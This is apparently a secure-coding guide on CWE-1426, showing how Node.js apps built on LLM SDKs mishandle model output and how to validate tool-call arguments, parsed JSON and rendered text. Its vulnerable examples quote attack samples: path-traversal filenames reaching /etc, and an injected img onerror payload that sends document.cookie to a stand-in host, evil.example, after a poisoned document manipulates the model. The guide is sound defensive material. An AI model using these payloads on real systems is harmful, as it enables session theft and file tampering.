CWE-1426: Improper Validation of Generative AI Output - JavaScript

Overview

In Node.js and TypeScript applications built on the Anthropic SDK (@anthropic-ai/sdk), OpenAI SDK, or a framework like LangChain/LangGraph, this weakness usually appears as a model's text response or a tool_use block's input being passed to eval(), child_process.exec(), a template-literal SQL query, dangerouslySetInnerHTML, or fs.writeFile() without the validation that sink would require for user input. The fix is the same validation you would already apply to a client-supplied request: constrain the response shape with structured outputs, and re-validate and re-authorize every tool-call argument in the handler itself.

Common Vulnerable Patterns

Unvalidated Tool-Call Argument Reaching the Filesystem

async function handleToolCall(toolUse: Anthropic.ToolUseBlock) {
  if (toolUse.name === "write_report") {
    const input = toolUse.input as { filename: string; content: string };
    // VULNERABLE - filename comes from the model's tool call and is used
    // directly; a manipulated model can request any path
    const outputPath = `${OUTPUT_DIR}/${input.filename}`;
    await fs.writeFile(outputPath, input.content);
  }
}

// Attack: input.filename = "../../../etc/cron.d/malicious"
// Result: file written outside the intended output directory

Why this is vulnerable: Treating tool_use.input as pre-validated because the model produced it skips the same path-containment check a filename from an HTTP request would need.

Free-Text Parsing Feeding a Sensitive Operation

const response = await client.messages.create({
  model: "claude-opus-5",
  max_tokens: 1024,
  messages: [{ role: "user", content: `Summarize this refund request as JSON: ${requestText}` }],
});

// VULNERABLE - regex-extracted "JSON" is trusted without schema or range checks
const text = response.content.find((b) => b.type === "text")?.text ?? "";
const match = text.match(/\{.*\}/s);
const refund = JSON.parse(match![0]);
await processRefund(refund.orderId, refund.amountCents); // no validation before use

Why this is vulnerable: Free-text parsing has no guarantee the extracted value matches the expected shape, and even when it does, nothing here checks that amountCents is a plausible, in-range value before it is used.

Model Output Rendered Without Encoding

const summary = response.content.find((b) => b.type === "text")?.text ?? "";
// VULNERABLE - model output rendered as raw HTML
resultDiv.innerHTML = summary;

// Attack: a poisoned document the model summarized contains
// "<img src=x onerror=fetch('https://evil.example/steal?c='+document.cookie)>"
// Result: script executes in the viewer's browser

Why this is vulnerable: A model's text output can itself contain attacker-controlled markup if the source material it summarized was attacker-influenced - this is the same XSS sink as any other unencoded output, with the model as an intermediate step.

Secure Patterns

Structured Output With Zod Schema Validation

import { z } from "zod";
import { zodOutputFormat } from "@anthropic-ai/sdk/helpers/zod";

const RefundRequest = z.object({
  orderId: z.string().uuid(),
  amountCents: z.number().int().positive(),
});

// SECURE - structured output constrains the response shape
const response = await client.messages.parse({
  model: "claude-opus-5",
  max_tokens: 1024,
  messages: [{ role: "user", content: `Summarize the refund request as JSON: ${requestText}` }],
  output_config: { format: zodOutputFormat(RefundRequest) },
});
const refund = response.parsed_output!;

// SECURE - still range-check the parsed value against business rules
const order = await getOrder(refund.orderId);
if (refund.amountCents > order.totalCents) {
  throw new Error("Refund amount exceeds order total");
}
await processRefund(refund.orderId, refund.amountCents);

Why this works: zodOutputFormat() sends the schema with the request so generation is constrained to it, and messages.parse() validates what comes back before handing it over - so the application never has to parse free text with regex. Note where each guarantee comes from: the API constrains types, required fields and enums, but numeric and length constraints (positive(), min(), max()) are not part of the schema it enforces - the SDK strips those before sending and applies them client-side when it parses. The schema check is not the full fix either way, because it settles shape and not business validity, so the code still range-checks amountCents against the actual order total before acting on it, exactly as it would for a value from an HTTP request body.

Tool-Call Arguments Re-Validated and Re-Authorized in the Handler

import path from "path";
import fs from "fs/promises";
import { z } from "zod";

const WriteReportArgs = z.object({
  filename: z.string().min(1).max(255),
  content: z.string().max(1_000_000),
});

async function handleToolCall(
  toolUse: Anthropic.ToolUseBlock,
  authenticatedUserId: string,
): Promise<Anthropic.ToolResultBlockParam> {
  if (toolUse.name !== "write_report") {
    throw new Error(`Unknown tool: ${toolUse.name}`);
  }

  // SECURE - re-validate the tool call's declared arguments; do not trust
  // that the model's JSON already matches the schema it was given
  const args = WriteReportArgs.parse(toolUse.input);

  // SECURE - filenames from tool input are attacker-controlled. Reject one
  // carrying any path component rather than silently rewriting it:
  // path.basename() alone turns "../../etc/passwd" into "passwd" and writes
  // that without complaint, which neutralizes the traversal but quietly
  // stores a different file than the one the call asked for
  const safeName = path.basename(args.filename);
  if (!safeName || safeName === "." || safeName === ".." || safeName !== args.filename) {
    return { type: "tool_result", tool_use_id: toolUse.id, content: "Invalid filename", is_error: true };
  }
  const outputPath = path.join(OUTPUT_DIR, safeName);
  if (!path.resolve(outputPath).startsWith(path.resolve(OUTPUT_DIR) + path.sep)) {
    return { type: "tool_result", tool_use_id: toolUse.id, content: "Path escapes output directory", is_error: true };
  }

  // SECURE - authorization checked against the real caller, not a field
  // the model could have included in its own tool call
  if (!(await userCanWriteReports(authenticatedUserId))) {
    return { type: "tool_result", tool_use_id: toolUse.id, content: "Not authorized", is_error: true };
  }

  await fs.writeFile(outputPath, args.content);
  return { type: "tool_result", tool_use_id: toolUse.id, content: "Report written" };
}

Why this works: The handler re-parses toolUse.input through the same Zod schema an HTTP endpoint would use, refuses any filename that is not already a bare basename - so a traversal payload is rejected outright rather than quietly rewritten into a different file - and authorizes against authenticatedUserId from the real session rather than anything the model supplied. Even a fully manipulated tool call cannot bypass any of these three independent checks.

The containment check is a backstop, not the load-bearing control: once the filename must equal its own basename, it cannot fail. Keep it anyway, because it is what still holds the guarantee if that rule is later relaxed to permit subdirectories - and note that path.resolve() works on the string and never touches the disk, so it proves the name is under OUTPUT_DIR and not the file; a directory that may contain symlinks needs fs.realpath() on both sides instead.

Encoding Model Output Before Rendering

import escapeHtml from "escape-html";

const summary = response.content.find((b) => b.type === "text")?.text ?? "";
// SECURE - encode before inserting into HTML, same as any other untrusted text
resultDiv.textContent = summary; // preferred: never parses as HTML
// or, if HTML must be built as a string server-side:
// html += `<p>${escapeHtml(summary)}</p>`;

Why this works: textContent never parses its argument as markup, so embedded tags render as literal text instead of executing. Where a string must be built server-side, a maintained encoder such as escape-html handles the full set of characters that need escaping in an HTML context - do not hand-roll this with a regex replace, which is easy to get wrong and does not track new bypass techniques the way a maintained library does.

Framework-Specific Guidance

LangChain / LangGraph Structured Output

import { ChatAnthropic } from "@langchain/anthropic";
import { z } from "zod";

const RefundRequest = z.object({
  orderId: z.string().uuid(),
  amountCents: z.number().int().positive(),
});

const model = new ChatAnthropic({ model: "claude-opus-5" }).withStructuredOutput(RefundRequest);

// SECURE - LangChain validates the response against the Zod schema before
// returning it; still apply business-rule validation on the result
const refund = await model.invoke(`Summarize the refund request as JSON: ${requestText}`);
if (refund.amountCents > order.totalCents) {
  throw new Error("Refund amount exceeds order total");
}

withStructuredOutput() is not the same mechanism as the Anthropic SDK's output_config.format, and the difference is worth knowing before relying on it. On @langchain/anthropic 1.5.8 it defaults to method: "functionCalling" - a forced tool call, parsed and validated against the Zod schema on the client - and only reaches the structured-outputs API when called as withStructuredOutput(RefundRequest, { method: "jsonSchema" }). Either way what downstream receives has passed shape validation, which is the property this section is for; what differs is where the validation happened, so a value that fails it surfaces as a client-side parse error rather than as a constrained generation. And a LangGraph tool node executing a mutating action still needs its own authorization check, independent of the graph's control flow, exactly as shown above.

Testing

• Normal inputs: valid refund JSON, ordinary filenames, plain-text summaries - confirm the feature still works end to end.
• Boundary inputs: a filename at the length limit, an amount equal to the order total, an empty tool result.
• Malicious/mocked model output: a tool_use.input.filename of ../../etc/passwd, an amountCents far outside the order total, a text response containing <img src=x onerror=...>, and a response that fails to match the declared schema.
• Confirm each malicious case is rejected by the validation layer itself (Zod parse error, the basename-equality check, authorization check) rather than by the model declining to produce it - mock the model's response directly in tests so the test does not depend on model behavior being deterministic. Note which check answers: the traversal filename is refused by the basename comparison, not by the containment check, which cannot fail once that comparison is in place.
• If a scanner flagged the original finding, re-scan after the fix to confirm it no longer fires.

Common Pitfalls

• Validating shape but not values: Confirming the model's response matches a Zod schema, then using the fields without a business-rule check - a schema guarantees amountCents is a positive integer, not that it is a legitimate amount for this order.
• Trusting tool_use.input because a schema was declared in the tool definition: A plain input_schema tells the model what to produce and enforces nothing. Adding strict: true to the tool definition does change that - the API then guarantees input validates against the schema - but it constrains shape only, so a schema-valid filename of ../../etc/passwd arrives exactly as before. Worth turning on; not a reason to skip the handler's own validation of the values it receives.
• Authorizing from a field inside tool_use.input: Checking input.userId instead of the session's authenticated user - anything inside input is model output, and therefore attacker-influenceable.
• Encoding model output for the wrong context: Using an HTML encoder on a value that is actually going into a SQL query or shell command, or vice versa - match the encoding or validation to the specific sink.

Dependencies and Installation

• zod and @anthropic-ai/sdk/helpers/zod (or the OpenAI SDK's structured-output support) for schema-constrained generation and tool-argument validation. Install zod explicitly: the SDK declares it as an optional peer dependency, so npm neither installs it nor warns when it is missing, and the examples above fail at import time.
• @langchain/anthropic if using LangChain's withStructuredOutput().
• escape-html (or the he package) for server-side HTML encoding when textContent is not applicable.
• Keep all of these current; structured-output APIs have changed shape across SDK major versions.

Additional Resources

• CWE-1426 Official Definition
• Anthropic - Structured Outputs
• OWASP Top 10 for LLM Applications - LLM05 Improper Output Handling
• Zod Documentation